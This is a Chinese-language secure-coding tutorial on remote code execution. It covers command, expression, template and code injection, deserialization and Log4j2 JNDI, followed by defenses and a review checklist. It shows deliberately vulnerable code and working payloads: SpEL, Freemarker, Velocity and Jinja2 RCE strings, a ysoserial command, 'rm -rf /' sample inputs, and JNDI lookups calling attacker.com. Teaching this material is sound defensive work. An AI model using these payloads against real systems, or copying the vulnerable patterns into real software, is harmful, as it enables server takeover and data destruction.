RCE 远程命令执行
远程命令执行(Remote Code Execution,RCE)是 Web 安全领域危害最严重的漏洞类型之一。攻击者通过注入恶意代码或命令,在服务器端以应用进程的权限执行任意系统命令或代码,从而完全控制目标服务器。
一、命令注入(Command Injection)
命令注入指攻击者通过在应用程序的输入参数中拼接或注入操作系统命令,利用应用程序对用户输入过滤不严的缺陷,在服务器端执行恶意命令。
1.1 Java 中的命令执行
Java 中执行系统命令的常见 API 包括 Runtime.exec()、ProcessBuilder 和 ProcessImpl。
Runtime.exec() 注入
// 漏洞示例:直接拼接用户输入
public static void listFiles(String path) throws IOException {
Runtime rt = Runtime.getRuntime();
// 危险:用户传入 "; rm -rf /" 可导致灾难性后果
Process proc = rt.exec("cmd.exe /c dir " + path);
BufferedReader reader = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
}Runtime.exec() 在 Windows 上接受带空格的字符串并调用 cmd.exe /c 执行,在 Linux 上则直接调用 execve 系统调用。当用户传入 path = ".; whoami" 时,实际执行的命令变为 dir .; whoami。
ProcessBuilder 注入
// 漏洞示例
public static void executeCommand(String userInput) throws IOException {
// 危险:将用户输入直接传递给命令
ProcessBuilder pb = new ProcessBuilder(
"cmd.exe", "/c", "echo " + userInput
);
Process p = pb.start();
}使用数组形式的正确方式
// 相对安全的调用方式(但仍需校验参数内容)
ProcessBuilder pb = new ProcessBuilder(
"ping", userInput // 参数作为独立数组元素传递
);即使使用数组形式,如果用户输入包含 127.0.0.1 & del /f /q *.*,在 Windows 上仍可能被 cmd.exe /c 解析执行。
1.2 JavaScript/Node.js 命令注入
const { exec } = require('child_process');
// 危险示例
function pingHost(hostname) {
// 用户输入 "127.0.0.1; rm -rf /" 将导致灾难
exec(`ping ${hostname}`, (error, stdout, stderr) => {
console.log(stdout);
});
}
// 应使用 execFile 替代
const { execFile } = require('child_process');
execFile('ping', [hostname], (error, stdout, stderr) => {
console.log(stdout);
});1.3 Python 命令注入
import os
import subprocess
# 危险示例
user_input = request.GET.get("ip")
os.system(f"ping {user_input}") # 危险!
# 危险示例 2
subprocess.call(f"nslookup {user_input}", shell=True) # shell=True 是罪魁祸首
# 安全方式
subprocess.call(["nslookup", user_input]) # 不使用 shell=True二、表达式注入(Expression Injection)
表达式注入是 Java 生态中特有的 RCE 攻击面。许多框架使用表达式语言(EL)进行动态求值,当用户输入被拼接到表达式字符串中时,可导致代码执行。
2.1 SpEL(Spring Expression Language)注入
Spring 框架中 SpEL 是最常见的表达式注入入口。
// SpEL 注入漏洞示例
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
public class SpelInjection {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
// 用户输入的恶意表达式
String userInput = "T(java.lang.Runtime).getRuntime().exec('calc')";
// 危险:使用 StandardEvaluationContext 允许执行任意方法
StandardEvaluationContext ctx = new StandardEvaluationContext();
Object result = parser.parseExpression(userInput).getValue(ctx);
}
}防御方案:使用 SimpleEvaluationContext 替代 StandardEvaluationContext,后者限制了方法调用权限。
// 安全方式:限制表达式能力
import org.springframework.expression.spel.support.SimpleEvaluationContext;
SimpleEvaluationContext safeCtx = SimpleEvaluationContext.forReadOnlyDataBinding().build();常见的 SpEL 注入攻击 Payload:
T(java.lang.Runtime).getRuntime().exec("command")T(java.lang.ProcessBuilder).start(new T(java.lang.ProcessBuilder)("command"))#this.getClass().forName("java.lang.Runtime").getMethod("exec","...")
2.2 OGNL(Object-Graph Navigation Language)注入
OGNL 是 Struts 2 框架的核心表达式语言,历史上多次出现严重 RCE 漏洞(如 S2-045、S2-046、S2-061)。
// OGNL 注入示例(模拟 Struts 2 漏洞场景)
// 攻击者在 HTTP 头或参数中注入 OGNL 表达式
// Payload: ${(#runtime=@java.lang.Runtime@getRuntime()).(#runtime.exec("calc"))}
// Struts 2 框架中的漏洞代码(简化)
public String execute() {
// 框架对用户输入进行了 OGNL 表达式求值
ActionContext.getContext().getValueStack().setValue(userInput, null);
return SUCCESS;
}2.3 MVEL 表达式注入
MVEL 是 Java 平台上的动态表达式语言,常用于规则引擎和配置系统。
import org.mvel2.MVEL;
// MVEL 注入漏洞
public class MvelInjection {
public static void main(String[] args) {
String userInput = "Runtime.getRuntime().exec('whoami')";
// 危险:MVEL 默认允许调用任意 Java 方法
MVEL.eval(userInput);
}
}2.4 EL(Expression Language)表达式注入
Java EE/Jakarta EE 标准的 EL 表达式同样存在注入风险。
import javax.el.ELProcessor;
// EL 注入示例
public class ELInjection {
public static void main(String[] args) {
ELProcessor processor = new ELProcessor();
// 攻击者可执行任意代码
processor.eval("\"\".getClass().forName(\"java.lang.Runtime\")" +
".getMethod(\"exec\",\"\".getClass())" +
".invoke(\"\".getClass().forName(\"java.lang.Runtime\")" +
".getMethod(\"getRuntime\").invoke(null),\"cmd /c calc\")");
}
}三、模板注入(SSTI - Server Side Template Injection)
服务端模板注入(SSTI)是指攻击者的输入被直接拼接到模板中,或被模板引擎当作表达式求值,从而导致代码执行。
3.1 Freemarker 模板注入
// Freemarker 模板注入
import freemarker.template.Configuration;
import freemarker.template.Template;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;
public class FreemarkerSSTI {
public static void main(String[] args) throws Exception {
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
// 危险:用户输入被直接作为模板内容
String userInput = "<#assign ex='freemarker.template.utility.Execute'?new()>${ex('calc')}";
Template template = new Template("bad", userInput, cfg);
Map<String, Object> data = new HashMap<>();
StringWriter out = new StringWriter();
template.process(data, out);
}
}常见的 Freemarker SSTI Payload:
<#assign ex='freemarker.template.utility.Execute'?new()>${ex('whoami')}<#assign value='freemarker.template.utility.ObjectConstructor'?new()>${value('java.lang.ProcessBuilder','whoami').start()}${\"freemarker.template.utility.Execute\"?new()(\"id\")}
3.2 Velocity 模板注入
// Velocity 模板注入
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;
public class VelocitySSTI {
public static void main(String[] args) throws Exception {
Velocity.init();
// 危险:用户输入作为模板
String userInput = "#set($exec=$class.intern())" +
"#set($rt=$exec.getClass().forName('java.lang.Runtime'))" +
"#set($ex=$rt.getMethod('exec',''.getClass()))" +
"$ex.invoke($rt.getMethod('getRuntime').invoke(null),'calc')";
VelocityContext ctx = new VelocityContext();
StringWriter sw = new StringWriter();
Velocity.evaluate(ctx, sw, "bad", userInput);
}
}3.3 Thymeleaf 模板注入
Thymeleaf 在 Spring Boot 中广泛使用,当模板名称由用户控制时可引发 SSTI。
// Thymeleaf 模板注入漏洞场景
@Controller
public class ThymeleafController {
// 危险:用户输入直接作为模板名称
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
// 用户传入 "__${T(java.lang.Runtime).getRuntime().exec('calc')}__::x"
// 导致模板解析器执行表达式
return "fragments/" + section;
}
}Thymeleaf 模板注入 Payload:
__${T(java.lang.Runtime).getRuntime().exec('whoami')}__::.x__${\"@org.springframework.web.servlet.view.freemarker.FreeMarkerConfigurer@getConfiguration().setClassForTemplateLoading(\"\",\"\")}\"}
3.4 Jinja2(Python)模板注入
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/hello")
def hello():
name = request.args.get("name", "world")
# 危险:用户输入直接拼接到模板中
template = f"<h1>Hello, {name}!</h1>"
return render_template_string(template)
# Jinja2 SSTI Payload 示例
# {{ config }} # 泄露配置
# {{ ''.__class__.__mro__[2].__subclasses__() }} # 获取所有子类
# {{ cycler.__init__.__globals__.os.popen('id').read() }} # 命令执行Python Jinja2 常见 Payload:
{{''.__class__.__mro__[1].__subclasses__()}}{{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
四、代码注入(Code Injection)
代码注入指攻击者利用动态求值函数(如 eval()、exec()),将恶意代码传递给解释器执行。
4.1 Java ScriptEngine 注入
import javax.script.ScriptEngineManager;
import javax.script.ScriptEngine;
// Java 脚本引擎注入
public class ScriptEngineInjection {
public static void main(String[] args) throws Exception {
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
// 危险:用户输入作为脚本执行
String userInput = "var sh = new java.lang.ProcessBuilder('calc'); sh.start();";
engine.eval(userInput);
}
}注意:自 JDK 15 起,Nashorn JavaScript 引擎已被移除,但第三方脚本引擎(如 Groovy、Python、Ruby)同样存在此风险。
4.2 Python 代码注入
# Python 代码注入示例
user_input = request.GET.get("code")
# 危险
result = eval(user_input) # eval 执行单表达式
exec(user_input) # exec 执行任意代码
# 更隐蔽的 payload
# __import__('os').system('whoami')
# eval("__import__('os').popen('id').read()")4.3 PHP 代码注入
// PHP 代码注入示例
$userInput = $_GET['code'];
// 危险函数列表
eval($userInput); // 最危险
assert($userInput); // 较旧版本支持字符串执行
preg_replace('/pattern/e', $userInput, $subject); // /e 修饰符已废弃
create_function('', $userInput); // 已废弃
array_map('system', $array); // 回调函数执行命令五、反序列化漏洞(Deserialization)
反序列化漏洞是 RCE 中利用难度较高但危害极大的类型。攻击者构造恶意的序列化数据,目标服务器反序列化时触发 Gadget 链执行任意代码。
5.1 Java 反序列化
Java 反序列化漏洞的核心在于 ObjectInputStream.readObject() 方法执行时会调用被反序列化类的 readObject()、readResolve()、readExternal() 等方法,攻击者通过链式调用这些方法最终执行系统命令。
// 典型的危险代码
import java.io.*;
public class DeserializeDemo {
public static void main(String[] args) throws Exception {
// 危险:直接反序列化不可信数据
ObjectInputStream ois = new ObjectInputStream(
new FileInputStream("untrusted_data.bin"));
Object obj = ois.readObject(); // 触发 Gadget 链
ois.close();
}
}常见 Java 反序列化 Gadget 链
| 组件 | 常见链 | 影响版本 |
|---|---|---|
| Commons Collections | CC1 - CC7 | 3.0 - 3.2.1 |
| Commons Collections4 | CC2 / CC4 | 4.0 |
| Fastjson | autoType 反序列化 | ≤ 1.2.68 |
| Jackson | polymorphic type | 特定配置 |
| Shiro | AES key 爆破 + CC 链 | Shiro ≤ 1.4.1 |
| XStream | marshalledPayload | ≤ 1.4.16 |
# 使用 ysoserial 生成恶意 payload
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin5.2 Python 反序列化
import pickle
# 危险:反序列化不可信数据
user_data = request.GET.get("data")
obj = pickle.loads(base64.b64decode(user_data))
# 攻击者可构造 pickel payload
# python3 -c "import pickle, os; print(pickle.dumps(os.system('whoami')))"5.3 PHP 反序列化
// PHP 反序列化漏洞
class Exploit {
public $cmd = 'whoami';
public function __destruct() {
system($this->cmd);
}
}
// 危险:反序列化用户输入
$userInput = $_GET['data'];
$obj = unserialize($userInput); // 触发 __wakeup() / __destruct() 等魔术方法六、Log4j2 JNDI 注入(CVE-2021-44228)
Log4j2 JNDI 注入是 2021 年爆发的史诗级 RCE 漏洞,影响范围极广,被称为"核弹级"漏洞。
漏洞原理
Log4j2 的日志消息中如果包含 ${prefix:name} 格式的 Lookup 表达式,框架会对其进行求值。当攻击者控制日志消息内容(如 User-Agent、请求参数等)时,可通过 JNDI Lookup 从远程 LDAP/RMI 服务器加载恶意类并执行。
// 漏洞代码示例
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jVuln {
private static final Logger logger = LogManager.getLogger(Log4jVuln.class);
public void handleRequest(String userAgent) {
// 危险:用户输入直接记录日志
// 攻击者传入 ${jndi:ldap://attacker.com/evil}
logger.info("User-Agent: {}", userAgent);
}
}利用流程
- 攻击者构造恶意 Payload:
${jndi:ldap://attacker.com:1389/Exploit} - 攻击者搭建恶意 LDAP/RMI 服务器返回包含恶意 Java 类的远程引用
- 目标服务器 JNDI Lookup 拉取并加载恶意类
- 恶意类在目标服务器上执行攻击者指定的代码
常见绕过 Payload
${jndi:ldap://attacker.com/a}
${${lower:j}ndi:${lower:l}dap://attacker.com}
${${env:ENV_NAME:-j}ndi:${::-l}dap://attacker.com}
${jndi:ldap://127.0.0.1#attacker.com}修复方案
<!-- 方式一:升级到 2.17.0+ 或 2.12.3+ -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version>
</dependency># 方式二:JVM 参数禁用 JNDI Lookup
-Dlog4j2.formatMsgNoLookups=true# 方式三:设置环境变量
LOG4J_FORMAT_MSG_NO_LOOKUPS=true七、防御手段
7.1 输入验证与白名单
对所有用户输入进行严格的合法性校验,使用白名单机制而非黑名单。
// 白名单验证示例
public class InputValidator {
private static final Pattern IP_PATTERN =
Pattern.compile("^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$");
public static boolean isValidIp(String ip) {
if (ip == null || !IP_PATTERN.matcher(ip).matches()) {
return false;
}
// 进一步验证每个段的范围
String[] parts = ip.split("\\.");
for (String part : parts) {
int val = Integer.parseInt(part);
if (val < 0 || val > 255) {
return false;
}
}
return true;
}
}7.2 最小权限原则
应用程序运行时使用最小权限账户,限制进程可执行的操作范围。
# 创建专用用户运行应用(Linux)
sudo useradd -r -s /sbin/nologin appuser
sudo chown -R appuser:appuser /app
# 使用 Docker 时采用非 root 用户运行
docker run --user 1000:1000 myapp// Java SecurityManager 配置(JDK 17 前可用)
// java.policy 文件限制权限
grant codeBase "file:/app/*" {
permission java.io.FilePermission "/app/data/*", "read,write";
// 禁止执行系统命令
// permission java.lang.RuntimePermission "execCmd";
};7.3 沙箱机制
Java SecurityManager
// 启用 SecurityManager
System.setSecurityManager(new SecurityManager());
// 通过策略文件限制
// java -Djava.security.manager -Djava.security.policy=app.policy -jar app.jar沙箱容器
// 使用 ScriptEngine 时限制脚本能力(部分引擎支持)
import javax.script.*;
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("nashorn");
// 创建受限上下文
SimpleScriptContext context = new SimpleScriptContext();
// 限制脚本可访问的 Java 类
Bindings bindings = new SimpleBindings();
context.setBindings(bindings, ScriptContext.ENGINE_SCOPE);7.4 禁用危险函数/方法
Java 层面:
- 使用
SimpleEvaluationContext替代StandardEvaluationContext(SpEL) - 禁用 JNDI Lookup 中的远程加载:
// 设置系统属性禁用远程 JNDI
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");Python 层面:
# 禁用 eval/exec 等危险函数
import builtins
# 在生产代码中全局禁用(需要谨慎操作)
# builtins.eval = None
# builtins.exec = None
# 或者使用 ast.literal_eval 替代 eval
import ast
result = ast.literal_eval(user_input) # 只解析字面量PHP 层面:
; php.ini 禁用危险函数
disable_functions = eval,exec,system,passthru,shell_exec,popen,proc_open,assert,create_function7.5 安全编码规范
| 类别 | 规范要求 | 说明 |
|---|---|---|
| 命令执行 | 避免直接调用系统命令 | 优先使用语言内置 API 替代系统命令 |
| 命令执行 | 使用数组形式传递参数 | 避免字符串拼接调用 Runtime.exec/ProcessBuilder |
| 命令执行 | 禁止 shell=True | Python 中执行子进程时务必关闭 shell |
| 表达式 | 使用受限上下文 | SpEL 用 SimpleEvaluationContext,避免 OGNL |
| 模板引擎 | 用户输入不作为模板内容 | 使用模板变量传递数据而非拼接 |
| 反序列化 | 不使用 readObject 处理不可信数据 | 使用 JSON 等结构化数据格式替代 |
| 日志 | 升级 Log4j2 并及时打补丁 | 关注 CVE 通告,及时更新依赖版本 |
| 通用 | 输入验证 + 输出编码 | 多层防御,不依赖单一防护措施 |
7.6 代码审查清单
在代码审查中,以下模式应标记为 RCE 风险点:
Runtime.getRuntime().exec()— 检查参数是否包含用户输入new ProcessBuilder()— 检查命令和参数来源SpelExpressionParser.parseExpression()— 检查表达式是否来自用户ScriptEngine.eval()— 检查脚本内容是否可信ObjectInputStream.readObject()— 反序列化数据来源logger.info()/logger.error()— 日志消息中是否可能包含 JNDI Lookupeval()/exec()/system()/popen()/shell_exec()— 任何动态代码执行函数Template.process()/Template.evaluate()— 模板内容是否可控@RequestBody反序列化 — 检查反序列化框架版本和配置
总结
RCE 远程命令执行漏洞形式多样,从传统的命令注入到现代的表达式注入、模板注入、反序列化攻击,攻击面持续扩大。防御 RCE 需要建立纵深防御体系:在编码阶段遵循安全规范,在架构层面实施最小权限和沙箱机制,在运维层面及时补丁更新,在监控层面建立异常检测能力。任何允许用户输入影响代码执行路径的场景都应当被视为潜在 RCE 风险点,需要仔细评估和防护。